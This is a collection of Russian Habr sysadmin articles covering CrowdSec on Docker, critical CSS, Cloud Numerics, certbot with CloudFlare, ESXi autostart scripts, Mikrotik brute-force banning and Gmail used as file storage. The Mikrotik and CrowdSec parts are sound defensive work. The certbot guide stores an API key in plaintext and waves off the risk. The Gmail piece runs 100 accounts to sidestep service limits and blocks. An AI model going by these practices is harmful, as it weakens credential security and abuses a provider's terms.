Теперь мы можем посмотреть на машину злоумышленника и обнаружить, что осуществлена блокировка и доступ к приложению нет.
```
$ curl -vv 192.168.2.227:8000
* Rebuilt URL to: 192.168.2.227:8000/
* Trying 192.168.2.227...
* TCP_NODELAY set
^C
```
Злоумышленник не может получить доступ ко всем приложениям Docker Compose. Мы намеренно ограничили решение путем DOCKER-USER, поэтому локальные приложения на хосте будут по-прежнему доступны. Если мы хотим запретить весь входящий трафик, то можно добавить в список путь INPUT так же, как и настройку по умолчанию.
**Заключение**
В этом руководстве мы развернули с помощью Docker Compose минимально возможный, но при этом полный прикладной стек. Затем мы рассмотрели, как защитить его с помощью CrowdSec. Хотя большинство использует CrowdSec как механизм защиты на основе хоста, мы узнали, что он также подходит для Docker сред. Если вы хотите пообщаться с командой и поделиться своим мнением, вы можете связаться с нами [на нашем канале Gitter](https://gitter.im/crowdsec-project/community) или в чате на нашем [сайте](https://crowdsec.net/?mtm_campaign=habr%20docker%20article-website).
### Об авторе
Тибо Кошлен (Thibault Koechlin) - CTO CrowdSec, окончил IT-школу EPITECH по специальности «Безопасность ИТ-систем и сетей». Он начал карьеру в NBS в 2004 году в качестве эксперта по пен-тестированию, а затем был назначен главой группы безопасности. Затем он стал директором по информационной безопасности и углубил свои знания в области оборонительной безопасности, после чего начал разработку собственных продуктов с открытым исходным кодом и собрал команду экспертов с редкими навыками. Он достиг вершины карьеры в компании, став операционным партнером, и возглавил создание флагманского продукта компании: Cerberhost. В декабре 2019 года он стал соучредителем CrowdSec вместе с Филиппом Хюмо (Philippe Humeau) и Лораном Субревилла (Laurent Soubrevilla). Он является техническим директором компании. | https://habr.com/ru/post/581876/ | null | ru | null |
# Above-the-Fold CSS — как ускорить загрузку сайта не замедлив разработку
В старые добрые времена мы с Google PageSpeed Insights были на короткой ноге. Я — клепал дешевые шаблоны, Google — ставил высокую оценку за скорость их загрузки. Однако со временем многое поменялось, и хоть я по-прежнему клепаю дешевые шаблоны, Google начал вставлять мне палки в колеса.
Я думаю многие видели следующие комментарии в отчетах Google PageSpeed Insights:
* Сократите CSS (HTML, JavaScript)
* Используйте кеш браузера
* Включите сжатие
* Удалите код JavaScript и CSS, блокирующий отображение верхней части страницы
И если с первыми тремя пунктами проблем, как правило, не возникает, последний пункт меня поставил в тупик.
Автоматическая генерация критического CSS
-----------------------------------------
В интернете накопилось уже достаточно информации на эту тему. В двух словах Google заявляет, что мне **следует** отложить загрузку стилей, которые не влияют на отображение верхней части моей страницы, которая попадает в окно просмотра (viewport) сразу после загрузки страницы, а необходимые стили вставить непосредственно в код html.
Вручную выделять нужные стили я посчитал задачей невыполнимой, поэтому занялся поиском средства автоматизировать этот процесс. На сегодняшний день я нашел только три инструмента, созданных с целью генерации необходимых стилей:
1. [Critical CSS](https://github.com/filamentgroup/criticalcss)
2. [Critical](https://github.com/addyosmani/critical)
3. [Penthouse](https://github.com/pocketjoso/penthouse)
И если с первыми двумя у меня как-то не задалось, Penthouse оказался именно тем инструментом, который я искал. Поскольку для сборки проектов я использую Gulp, ниже будет представлен код для gulpfile.js.
**1.** Устанавливаем необходимые модули:
```
$ npm install --save-dev penthouse
$ npm install --save-dev gulp-inject-string
```
**2.** Открываем gulpfile.js и подключаем их:
```
var penthouse = require('penthouse');
var inject = require('gulp-inject-string'); // необходим для вставки стилей непосредственно в код html
```
**3.** Далее необходимо указать путь к вашей странице и стилям:
```
gulp.task('penthouse', function () {
penthouse({
url: 'src/index.html', // страница вашего сайта
css: 'src/css/styles.css', // файл со стилями
width: 1280,
height: 800
}, function (err, criticalCss) {
gulp.src('src/index.html')
.pipe(inject.after('', '\n\n' + criticalCss + '\n'))
.pipe(gulp.dest('dist'))
});
});
```
В данном примере стили будут вставлены непосредственно после комментария Critical CSS в файл index.html.
Готово! Теперь Google PageSpeed Insights перестанет ругаться на этот пункт, и переместит его во вкладку «Выполненные правила».
Как подключить остальные файлы со стилями?
------------------------------------------
Многие советуют подключать их асинхронно с помощью JavaScript, однако для себя я нашел довольно простой выход — подключить их в конце кода html перед закрывающимся тэгом body, но перед JavaScript. Кто-то скажет, что выносить элементы с аттрибутом rel за пределы head невалидно, однако [HTML5.0](https://www.w3.org/TR/html5/document-metadata.html#the-link-element) с октября канул в лету, а [спецификация WHATWG](https://www.w3.org/TR/html52/links.html#body-ok) это делать не запрещает. | https://habr.com/ru/post/316970/ | null | ru | null |
# Cloud Numerics – что это такое?
На прошлой неделе я опубликовал [заметку](http://habrahabr.ru/company/microsoft/blog/136662/) о выпуске Microsoft'ом математической библиотеки для работы в облаке.
([Ссылка на сам продукт](http://www.microsoft.com/en-us/sqlazurelabs/labs/numerics.aspx))
Мне поступило много вопросов о том, зачем нужна эта библиотека, чем она отличается от множества других и как она работает и я решил написать об этом подробнее и привести больше примеров. В этой публикации я приведу пересказ ранее опубликованных статей моим коллегой Ронни Хугервертом и простой пример. В следующих постах я планирую привести более сложные примеры работы Cloud Numerics.
Итак, “Cloud Numerics” является новым Фреймворком для программирования .NET предназначенным для выполнения интенсивных вычислений над большими распределенными массивами данных.
Этот Фреймворк состоит из:
1. Обычные и распределенные контейнеры для массивов данных
2. Системы позволяющей манипулировать распределением данных на узлах кластера в облаке и выполнять над ними параллельные вычисления
3. Широкий набор библиотечных математических функций, которые могут выполняться на множестве узлов кластера одновременно
4. Набор утилит упрощающих развертку и выполнение приложений построенных на Cloud Numerics в среде Windows Azure
Системы использующие подход Map/Reduce (такие уак Hadoop) были разработаны для того, чтобы значительно упростить обработку больших массивов данных. Эти системы предоставляют очень простую модель программирования и подсистему работы программ, скрывающую детали масштабирования на огромных кластерах, состоящих из стандартных вычислительных узлов. Эта упрощенная модель адекватна для выполнения реляционных операций, алгоритмов кластеризации и machine learning над данными, достаточно большими, чтобы не поместиться в основную память всех узлов кластера.
Тем не менее, эти подходы не всегда оптимальны для случаев, когда данные могут вместиться в оперативную память узлов кластера. Плюс к этому, по природе интерактивные алгоритмы, или же алгоритмы наиболее просто формализуемые в терминах операций над массивами, довольно тяжело выражаются программными моделями подобными Map/Reduce. В конце концов, динамично развивающаяся экосистема Hadoop, в рамках которой было разработано множество библиотек для анализа данных и machine learning подобных Mahout, Pegasus и HAMA не использует потенциал существующих развитых масштабируемых библиотек линейной алгебры подобных PBLAS и ScaLAPACK, библиотек, которые оптимизировались и выверялись годами.
В тоже время, такие библиотеки как Message Passing Interface или MPI идеально подходят для эффективной обработки данных размещаемых в оперативной памяти на больших кластерах но являются чрезвычайно трудно программируемыми. Пользователь такой библиотеки должен очень тщательно следить за реализацией алгоритмов передачи данных между узлами кластера и различными параллельными процессами работающими внутри них. Если это делается не достаточно тщательно, то результатом разработки таких ”высоко производительных программ” может быть чрезвычайно низкая масштабируемость и большая вероятность непредсказуемых сбоев, зависаний и аварийных завершений восстановление после которых невозможно.
Абстракции и интерфейсы предоставляемые “Cloud Numerics” не содержат каких либо низкоуровневых конструкций для организации параллельных вычислений. Параллелизм реализован неявно и скрыт от пользователя за операциями над типами данных, такими как распределенные матрицы. Скрытые параллельные операции приводят к простой и эффективной работе кода и используют существующие библиотеки BLAS и ScaLAPACK.
###### Пример “Hello World”
Для краткой иллюстрации параллельной программной модели “Cloud Numerics” приведу пример на C#, который загружает в память распределенную матрицу, параллельно вычисляет ее собственные значения и выводит на печать двойную норму и обусловленность матрицы.
`var A = Distributed.IO.Loader.LoadData(csvReader);
var S = Decompositions.SvdValues(A);
var s0 = ArrayMath.Max(S);
var s1 = ArrayMath.Min(S);
Console.WriteLine("Norm: {0}, Condition Number: {1}", s0, s0 / s1);
В следующих публикациях я приведу примеры использования библиотеки.` | https://habr.com/ru/post/136953/ | null | ru | null |
# Настройка Let's Encrypt wildcard-сертификатов в CentOS 7 с валидацией через CloudFlare API
Как и многие, я давно ждал возможности получения wildcard-сертификатов от Let's Encrypt. И вот момент настал, а мануала на Хабре так и нет. Ну что ж, попробуем исправить это.
Это наиболее упрощенный мануал по настройке wildcard-сертификатов от Let's Encrypt.
Вместо CloudFlare можете использовать другой сервис, т.к. плагины есть в репозитории EPEL.
Установка certbot и плагинов
----------------------------
Нам нет смысла ставить последнюю версию certbot с github, т.к. нужный нам функционал появился еще в версии 0.22.
Для установки certbot и его плагинов нужно подключить репозиторий EPEL.
```
sudo yum install epel-release -y
```
После чего запустить установку certbot.
```
sudo yum install certbot -y
```
И затем установить CloudFlare плагин для certbot.
```
sudo yum install python2-cloudflare.noarch python2-certbot-dns-cloudflare.noarch -y
```
> Если вы используете другой сервис, найдите его плагин при помощи yum, например для digitalocean **yum list \*digitalocean\***
Запустите certbot один раз для создания конфигов.
```
sudo certbot
```
Настройка CloudFlare API
------------------------
Для того, чтобы certbot мог автоматом продливать wildcard-сертификаты, нужно указать логин аккаунта CloudFlare и его API Key в конфиге.
**Логинимся в свой CloudFlare аккаунт и заходим в профиль**
**Нажимаем View напротив Global API Key**
**Вводим пароль от аккаунта, проходим капчу и снова жмем View**
**Копируем свой API Key**
Создаем файл **cloudflareapi.cfg** в директории **/etc/letsencrypt** при помощи редактора (например nano):
```
sudo nano /etc/letsencrypt/cloudflareapi.cfg
```
И пишем в нём следующее:
```
dns_cloudflare_email = <ваш CloudFlare логин>
dns_cloudflare_api_key = <ваш CloudFlare API Key>
```
> **АХТУНГ!** Данный способ хранения API Key небезопасен, но т.к. вы используете Let's Encrypt вам должно быть все равно.
>
>
>
> По крайней мере, можете прописать **sudo chmod 600 /etc/letsencrypt/cloudflareapi.cfg** для ограничения доступа на чтение.
Создание сертификата
--------------------
В отличии от других способов валидации, здесь сертификат создается легко и быстро. Вместо example.org укажите свой домен.
```
sudo certbot certonly --cert-name example.org --dns-cloudflare --dns-cloudflare-credentials /etc/letsencrypt/cloudflareapi.cfg --server https://acme-v02.api.letsencrypt.org/directory -d "*.example.org" -d example.org
```
> При первом запуске certbot может запросить у вас email-адрес для доставки уведомлений, согласиться с ToS (выбрать **A**) и одобрить получение спама (выбрать **N**).
**Вот и всё, в случае успеха вы увидите что-то вроде этого**
```
IMPORTANT NOTES:
- Congratulations! Your certificate and chain have been saved at:
/etc/letsencrypt/live/example.org/fullchain.pem
Your key file has been saved at:
/etc/letsencrypt/live/example.org/privkey.pem
Your cert will expire on 2018-07-21. To obtain a new or tweaked
version of this certificate in the future, simply run certbot
again. To non-interactively renew *all* of your certificates, run
"certbot renew"
- If you like Certbot, please consider supporting our work by:
Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate
Donating to EFF: https://eff.org/donate-le
```
Нужный вам сертификат **fullchain.pem** будет находится в директории /etc/letsencrypt/live/**example.org**.
Настройка веб-сервера
---------------------
> Я не буду здесь описывать настройку веб-сервера, т.к. мой кусок конфига вряд ли подойдет вам.
>
>
>
> Вы сами должны найти настройку SSL для вашей версии веб-сервера и CMS.
Продление сертификата
---------------------
Все созданные сертификаты продливаются при помощи certbot.
```
sudo certbot renew
```
Собственно, открываем **/etc/crontab**.
```
sudo nano /etc/crontab
```
И добавляем строчку.
```
0 4 * * 2 root certbot renew
```
Которая означает, что каждый вторник в 4 часа проверять актуальность сертификатов через certbot.
Так же, сюда следует добавить рестарт веб-сервера, который будет использовать данный сертификат, например nginx:
```
10 4 * * 2 root systemctl restart nginx
```
Заключение
----------
Настройка простая, но забыть её довольно легко. Поэтому сохраняйте в закладки.
Данный мануал предназначен в первую очередь для энтузиастов под свой сервер или под небольшие проекты, поэтому здесь нет особого внимания к безопасности или дополнительным настройкам. | https://habr.com/ru/post/354052/ | null | ru | null |
# Автозапуск и автовыключение ВМ в VmWare ESXi 5.0 Update 1
Решил я начать внедрять виртуализацию в одном государственно учреждении. Мой выбор пал сначала на Citrix XenServer, т.к. в нем можно было организовать программный RAID1 (т.к. из-за нехватки бюджета в сервере не был установлен аппаратный RAID-контроллер), но потыкавшись с ним все таки выбил деньги на аппаратный RAID-контроллер и перешел на VmWare ESXi 5.0. Что хорошо, оба они предоставляются бесплатно.
Все было прекрасно, нужные задачи были виртуализированны, виртуалки исправно работали, но тут случился Update 1 для ESXi 5.0. После обновления перестали работать функции автозапуска и автовыключения виртуальных машин. Казалось бы, мелочь, но питание у нас оставляло желать лучшего, и периодически возникал вопрос с автоматическим стартом виртуалок, после перезагрузки самого сервера. Ну и иногда сервер тоже приходится выключать, и для этого приходилось подключаться VMware vSphere Client к гипервизору и поочереди гасить виртуалки, что было очень лень.
Покопавшись в сети, был найден [способ](http://greendail.ru/node/495), как включать ВМ при запуске сервера написанием скрипта и вызовом его из `/etc/rc.local`.
Но хотелось, что бы и выключение отрабатывало корректно, правки в `/etc/inittab` не помогали. Правки файлов типа `/sbin/shutdown.sh` и `/sbin/vmware-autostart.sh` пользы не принесли, т.к. выяснилось, что все окружение гипервизора загружается в оперативку из образов и там живет.
Было принято решение внести правки в сам образ гипервизора.
Специально для этих целей были написаны скрипты автозапуска и автовыключения, которые берут информацию об автоматически запускаемых и выключаемых машин у самого гипервизора, т.е. сделав изменения в конфигурации в разделе «Virtual Machines Startup/Shutdown» скрипты корректно их обработают (разве что порядок не соблюден, т.е. работает по принципу «Any Order»).
1) autostart.sh:
`#!/bin/sh
sleep_time=`/bin/vim-cmd hostsvc/autostartmanager/get_defaults | grep startDelay | sed "s/ //g" | sed "s/,//g" | awk 'FS="=" {print $2}'`
for i in `/bin/vim-cmd hostsvc/autostartmanager/get_autostartseq | grep vim.VirtualMachine | sed "s/',//g" | awk 'FS=":" {print $2}'`; do
state=`/bin/vim-cmd vmsvc/power.getstate $i | grep Power`
if [ "$state" = "Powered off" ]; then
/bin/vim-cmd vmsvc/power.on $i
j=0
while [ $j -le 3 ]; do
sleep $((sleep_time))
state=`/bin/vim-cmd vmsvc/get.guestheartbeatStatus $i`
if [ "$state" = "green" ]; then
break
fi
j=$((j+1))
done
fi
done`
2) autostop.sh:
`#!/bin/sh
sleep_time=`/bin/vim-cmd hostsvc/autostartmanager/get_defaults | grep stopDelay | sed "s/ //g" | sed "s/,//g" | awk 'FS="=" {print $2}'`
for i in `/bin/vim-cmd hostsvc/autostartmanager/get_autostartseq | grep vim.VirtualMachine | sed "s/',//g" | awk 'FS=":" {print $2}'`; do
state=`/bin/vim-cmd vmsvc/power.getstate $i | grep Power`
if [ "$state" = "Powered on" ]; then
/bin/vim-cmd vmsvc/power.shutdown $i
j=0
while [ $j -le 3 ]; do
sleep $((sleep_time))
state=`/bin/vim-cmd vmsvc/power.getstate $i | grep Power`
if [ "$state" = "Powered off" ]; then
break
fi
j=$((j+1))
done
fi
done`
**!!! Все изменения вносятся на ваш страх и риск, автор ни какой ответственности за последствия не несет!!!**
Первоначально распакуем gunzip’ом файл образа на основное хранилище:
`~ # gunzip < /bootbank/s.v00 > /vmfs/volumes/MainStorage/temp/tmp.vmtar`
Перейдем на основное хранилище и распакуем еще раз то, что получилось с помощью VmWare’ного tar’а:
`~ # cd /vmfs/volumes/MainStorage/temp/
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp # vmtar -x tmp.vmtar -o tmp.tar`
И только теперь просто распакуем tar’ом (вот такая хитрая матрешка):
`/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp # tar -xf tmp.tar`
Удалим лишние архивы и посмотрим что получилось:
`/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp # rm -f tmp.tar tmp.vmtar
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp # ls -l
drwxr-xr-x 1 201 201 7280 Jun 5 16:18 bin
drwxr-xr-x 1 201 201 280 Apr 30 03:16 dev
drwxr-xr-x 1 201 201 6580 Jun 5 16:18 etc
drwxr-xr-x 1 201 201 17080 Jun 5 16:15 lib
drwxr-xr-x 1 201 201 420 Jun 5 16:15 lib32
drwxr-xr-x 1 201 201 4900 Jun 5 16:15 lib64
drwxr-xr-x 1 201 201 420 Jun 5 16:15 opt
drwxr-xr-x 1 201 201 280 Apr 30 03:21 proc
lrwxrwxrwx 1 201 201 23 Jun 5 16:15 productLocker -> /locker/packages/5.0.0/
drwxr-xr-x 1 201 201 19040 Jun 5 16:18 sbin
drwxrwxrwt 1 201 201 280 Apr 30 03:33 tmp
drwxr-xr-x 1 201 201 980 Jun 5 16:16 usr
drwxr-xr-x 1 201 201 1400 Jun 5 16:18 var
drwxr-xr-x 1 201 201 560 Jun 5 16:18 vmfs
drwxr-xr-x 1 201 201 560 Jun 5 16:18 vmimages
lrwxrwxrwx 1 201 201 18 Jun 5 16:18 vmupgrade -> /locker/vmupgrade/`
Нас очень интересует содержимое каталога sbin, перейдем в него и скопируем файлы для автозапуска и автовыключения ВМ, изменим владельца и права доступа как у всех остальных (типа мы местные):
`/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp # cd sbin/
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp/sbin # cp ../../autostart.sh .
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp/sbin # cp ../../autostop.sh .
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp/sbin # chown 201:201 autostart.sh autostop.sh
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp/sbin # chmod a=rx autostart.sh autostop.sh`
Разрешим изменять файлик vmware-autostart.sh, добавим в конец функции vmware\_autostart\_vms вызов скрипта автозапуска и добавим в начало функции vmware\_autostop\_vms вызов скрипта автовыключения:
`/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp/sbin # chmod a+w vmware-autostart.sh
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp/sbin # vi vmware-autostart.sh
# AutoStart vms if any ( Execute the subshell in the background )
vmware_autostart_vms() {
(
logger -t 'VMware[startup]' " Starting VMs"
-----8<------------------------------------------------------------------------
done # wait to start
) &
**/sbin/autostart.sh**
}
# AutoStop vms if any
vmware_autostop_vms() {
logger -t 'VMware[shutdown]' " Stopping VMs"
**/sbin/autostop.sh**
val=$("$VIMSH" -U $ROOT_USER $AUTOSTOP_CMD 2>&1 > /dev/null)
-----8<------------------------------------------------------------------------
fi
}`
После чего вернем права обратно и запакуем матрешку обратно:
`/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp/sbin # chmod a-w vmware-autostart.sh
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp/sbin # cd ..
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp # tar -cf ../tmp.tar *
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed/temp # cd ..
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed # vmtar -c tmp.tar -o tmp.vmtar
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed # gzip < tmp.vmtar > s.v00`
Сменим права доступа как были и заменим имеющийся файл нашим, не забыв предварительно сделать бекап:
`/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed # chmod 700 s.v00
/vmfs/volumes/4f72a981-4f940db0-18e9-001517ecc0ed # cp -f s.v00 /bootbank/s.v00`
Вот собственно и все, перезагружаемся, проверяем и работаем. | https://habr.com/ru/post/145428/ | null | ru | null |
# Использование базы данных лога Mikrotik для пресечения брутфорса
Добрый день.
В предыдущей [публикации](https://habr.com/post/427159/) я рассказывал как, легко и непринужденно, можно настроить сбор метаданных сетевого трафика на маршрутизаторах Микротик в базу данных.
Теперь настало время научить наш сервер делать элементарный анализ получаемых данных и отправлять команды обратно.
**Цель:** Динамическое управление правилами фаервола Микротик для пресечения сетевых атак с перебором пароля.
**Средства:** Свежий дистрибутив Linux с rsyslogd v8, crond, СУБД mariadb и собственно сам маршрутизатор Микротик.
**Механика:** С помощью назначенного задания, выполняется SQL запрос в БД с накопленными и пополняемыми данными трафика и возвращает список исходящих ip-адресов, запускаемый кроном bash скрипт формирует команды Микротика и с помощью ssh соединения, пополняет список адресов для имеющихся правил блокировки.
Речь пойдет о защите открытых TCP портов. Это могут быть входящие на Микротик и пробрасываемые в локальную сеть порты.
Для начала обозначим где могут быть слабые места:
* Управляющие протоколы маршрутизатора ssh, telnet, web, winbox
* Почтовые службы smtp, pop, imap
* Любые веб сервисы предоставляемые наружу
* Удаленный рабочий стол MS RDP, VNC и т.д.
* Что-либо другое, на ваше усмотрение
**Пишем запрос SQL для поиска брутфорсера**
В нашей организации есть терминальные серверы открытые наружу по не приоритетным портам.
В DNAT Микротика я включил логгирование необходимых правил добавив префикс RDP\_DNAT. По этому префиксу мы и будем производить поиск:
```
MariaDB [traflog]> select src,dport,count(dport) as 'попытки подключения' from traffic where datetime>now() - interval 1 day and logpref='RDP_DNAT' group by src having count(dport)>50;
+-----------------+-------+---------------------------------------+
| src | dport | попытки подключения |
+-----------------+-------+---------------------------------------+
| 185.156.177.58 | 12345 | 118 |
| 185.156.177.59 | 12345 | 267 |
| 193.238.46.12 | 12345 | 318 |
| 193.238.46.13 | 12345 | 319 |
| 193.238.46.99 | 12345 | 342 |
| 194.113.106.150 | 12345 | 67 |
| 194.113.106.152 | 12345 | 167 |
| 194.113.106.153 | 12345 | 190 |
| 194.113.106.154 | 12345 | 192 |
| 194.113.106.155 | 12345 | 190 |
| 194.113.106.156 | 12345 | 216 |
| 194.113.106.158 | 12345 | 124 |
+-----------------+-------+---------------------------------------+
12 rows in set (0.06 sec)
```
Этот запрос показывает ip адрес (с которого идет атака), порт на который происходит подключение (номер порта изменен) и количество попыток подключения, с предварительной группировкой по src и выборкой строк, с количеством попыток более 50 за прошедшие, от текущего момента, сутки.
В моем случае, эти адреса можно смело банить, так как количество подключений у «хороших» клиентов меньше, не более 5-10 в сутки с одного ip.
Запрос работает нормально, быстро, но он длинноват. Для дальнейшего использования я предлагаю сделать представление (view), что бы в будущем меньше копипастить:
```
MariaDB [traflog]> create or replace view rdp_brute_day as select src, dport, count(dport) from traffic where datetime>now() - interval 1 day and logpref='RDP_DNAT' group by src having count(dport)>50;
Query OK, 0 rows affected (0.23 sec)
```
Проверим как работает вьюшка:
```
MariaDB [traflog]> select src,count(dport) from rdp_brute_day;
+----------------+--------------+
| src | count(dport) |
+----------------+--------------+
| 185.156.177.58 | 11 |
+----------------+--------------+
1 row in set (0.09 sec)
```
Отлично.
**Добавляем пользователя Микротик с авторизацией по ключу dsa**
В консоли linux генерируем ключ dsa, под пользователем, от имени которого будет запускаться назначенное задание, я делал из под root:
```
root@monix:~# ssh-keygen -t dsa
Generating public/private dsa key pair.
Enter file in which to save the key (/root/.ssh/id_dsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_dsa.
Your public key has been saved in /root/.ssh/id_dsa.pub.
...
```
Passphrase назначать не надо. Публичный ключ /root/.ssh/id\_dsa.pub копируем на Микротик любым доступным способом. Я вывел его командой cat, скопировал текст из окна putty в текстовый файл, сохранился и перетащил в окно winbox files.
Не знаю почему, но при выполнении следующих операций через интерфейс winbox что-то пошло не так. При подключении с сервера через ssh, Микротик запрашивал у меня еще и пароль. После того, как удалил созданного пользователя и выполнил все операции через консоль, подключение по dsa заработало. Делал примерно, как описано [тут](https://14bytes.ru/ssh-mikrotik-dsa-no-password/).
В общем я получил желанный вход без пароля по ключу dsa и выполнил проверочную команду:
```
root@monix:/# ssh rsyslogger@192.168.0.230 /system resource print
uptime: 2w1d5h22m43s
version: 6.43.2 (stable)
...
```
Хорошо.
**Пишем bash скрипт**
Скрипт получился не сложный:
```
mikrotik_cmd_list(){
brute_src_list=$(mysql --skip-column-names traflog -e 'select src from rdp_brute_day')
for src in $brute_src_list
do
echo "ip firewall address-list add address=$src list=rdp_banlist timeout=1d"
done
}
mikrotik_cmd_list | ssh -T rsyslogger@192.168.0.230
```
Для того чтобы передать все команды в рамках одного ssh соединения, мне понадобилось описать функцию mikrotik\_cmd\_list(), в которой сначала выполняется запрос с сохранением ip адресов в переменную brute\_src\_list, далее в цикле эта переменная последовательно формирует команды для Микротика. После вызова функции, вывод направляется через трубу в ssh.
Не забываем закрыть права доступа к скрипту всем кроме root и делаем файл исполняемым.
Команда которую генерирует скрипт, добавит ip адрес в rdp\_banlist на 1 день, по истечении этого времени он сам удалится из списка. Если хотите оставить его навсегда, уберите опцию timeout.
**Добавляем правило в фаервол**
Я придумал два варианта, как использовать список rdp\_banlist:
**Вариант первый:** добавить список rdp\_banlist с восклицательным знаком в правила NAT имеющие префикс RDP\_DNAT.
```
add action=dst-nat chain=dstnat comment="..." dst-address=1.2.3.4 dst-port=12345 log=yes log-prefix=RDP_DNAT protocol=tcp src-address-list=\
!rdp_banlist to-addresses=192.168.200.181 to-ports=3389
```
Примерно так. То есть днатим все, кроме того, что есть в rdp\_banlist.
В этом варианте есть плюс и минус.
Плюс в том, что подключения тут же прекратятся.
Минус в том, что больше этот ip не будет попадать в БД traflog и по истечении суток, когда пройдет таймаут хранения в блэклисте, он снова начнет гадить.
**Вариант второй:** добавить список rdp\_banlist с восклицательным знаком в правило firewall цепочки forward, где мы разрешаем прохождение трафика на TCP 3389, аналогично тому, как это сделали в первом способе.
```
add action=accept chain=forward comment="..." dst-port=3389 log=yes log-prefix=ACCEPT_RDP protocol=tcp src-address-list=\
!rdp_banlist to-ports=3389
```
Примерно так. Разрешаем все, кроме того, что в банлисте.
Тут тоже плюс и минус.
Плюс. В БД traflog будут продолжать сыпаться логи с префиксом RDP\_DNAT, по которым мы определяем признак атаки. В результате, когда закончится таймаут бана определенного хоста, продолжающего попытки брутфорса, он вновь будет добавлен в банлист после очередного запуска назначенного задания.
Минус в том, что он продолжает гадить в таблицу DSTNAT, каждым своим подключением создавая новую запись, пусть и временную.
В общем решение за вами, я выбрал оба :) (на самом деле, в таком случае работает только первый), так как второй у меня был включен раньше и механика там была другая, основанная на последовательной записи в списки stage1, stage2, stage3, banlist… ну вы поняли. Старый и не очень надежный фокус, может легко забанить «хороших» клиентов и при этом пропустить «плохих», вежливо расчитавших таймаут stage1.
**Назначенное задание crontab**
Осталось добавить назначенное задание в кронтаб:
```
root@monix:/root# echo '12 * * * * root /usr/share/traflog/scripts/rdp_brute.sh >/dev/null 2>&1' >> /etc/crontab
```
Такая запись будет запускать скрипт каждый час в 12 минут.
Надо признаться, я только сегодня закончил работу над этой механикой и с большой долей вероятности, что-то может пойти не так. По обстоятельствам буду дополнять и исправлять ошибки. Хочется ~~пить~~ спать спокойно в новогодние праздники, потому и тороплюсь закончить.
Вот пожалуй и все.
Всем спасибо за внимание и с наступающим Новым Годом!
Список литературы:
[Документация по mysql](https://mariadb.com/kb/en/library/documentation/)
[Документация по Mikrotik firewall](https://wiki.mikrotik.com/wiki/Firewall)
Спасибо Андрею Смирнову за [статью](https://14bytes.ru/ssh-mikrotik-dsa-no-password/) про подключение по ключу dsa. | https://habr.com/ru/post/434736/ | null | ru | null |
# Распределенная сеть файлового хранилища на Gmail.com
Все давно уже знают о великолепной почте gmail.com и возможности хранить там более 7 гигабайт почты. Думаю, что также все знают о таких плагинах, как GMail Drive, который позволяет хранить в своем аккаунте файлы. Но, сейчас разговор не об этом, я хочу рассказать Вам о реально работающей системе, которая позволяет хранить неограниченное количество файлов на Gmail.com распределенно и с резервированием. Итак, задача, которую мне необходимо было решить еще три года назад, где хранить все увеличивающийся архив файлов, многие из которых я не буду использовать еще долгое время, так как к платным сервисам я отношусь скептически, то решено было сделать бесплатный. Выбор пал на gmail.com, который уже тогда предоставлял достаточно места для хранения почты.
Но, предстояло решить следующие задачи1. размер письма gmail.com три года назад составлял 10 мегабайт
2. если загрузить на почту более 600 мегабайт за короткий период, почта блокируется
3. если выгрузить из почты более 600 мегабайт за короткий период, почта тоже блокируется
Решение пришло само собой, было создано 100 аккаунтов почты, и написана система хранения.
Система состоит из следующих частей:
1. Загрузка файла в систему
Тут решение пришло само, раз gmail.com не позволяет хранить больше 10 мегабайт, файл разбивается на чанки и загружается по частям. В MySQL были созданы таблицы (см. приложение внизу поста) добавлены аккаунты и написан скрипт загрузки на gmail.
2. Обеспечение резервирования
Для этого был создан скрипт, который определял в скольких местах хранится каждый чанк, если таких мест меньше 2х (например, заблокировался аккаунт или просто новый файл, то скрипт проводил миграцию чанка на другой аккаунт)
3. Загрузка файла
Для загрузки файла, случайным образов выбирался аккаунт хранящий каждый чанк и последовательно грузилось в систему.
4. Проверка аккаунтов.
Специальный скрипт периодически проверял аккаунты на предмет блокировки аккаунта и сохранял эту информацию в БД.
5. Загрузка с других серверов
Специально для того, чтобы не производить множество логинов, был создан центральный сервер, который заходил в аккаунты и сохранял кукисы. С помощью специального протокола остальные сервера могли запросить кукис и сразу начать закачку файла минуя стадию логина.
Таким образом была создана система которая позволяет хранить практически неограниченное количество файлов и обеспечивает распределенную сеть загрузки.
##### Таблица учетых записей
> `Copy Source | Copy HTML1. CREATE TABLE IF NOT EXISTS `account` (
> 2. `ACCOUNT\_ID` int(11) NOT NULL auto\_increment,
> 3. `ACCOUNT\_LOGIN` varchar(32) NOT NULL default '',
> 4. `ACCOUNT\_PASSWORD` varchar(32) NOT NULL default '',
> 5. `ACCOUNT\_SIZE` int(11) NOT NULL default '0',
> 6. `ACCOUNT\_MAX\_SIZE` int(11) NOT NULL default '0',
> 7. `ACCOUNT\_UPLOAD\_ENABLED` tinyint(4) NOT NULL default '0',
> 8. `ACCOUNT\_DOWNLOAD\_ENABLED` tinyint(4) NOT NULL default '0',
> 9. `ACCOUNT\_BANNED` tinyint(4) NOT NULL default '0',
> 10. `ACCOUNT\_ERRORS` int(11) NOT NULL default '0',
> 11. `ACCOUNT\_INVITES` int(11) NOT NULL default '0',
> 12. `ACCOUNT\_UPDATE\_DATETIME` datetime default NULL,
> 13. PRIMARY KEY (`ACCOUNT\_ID`),
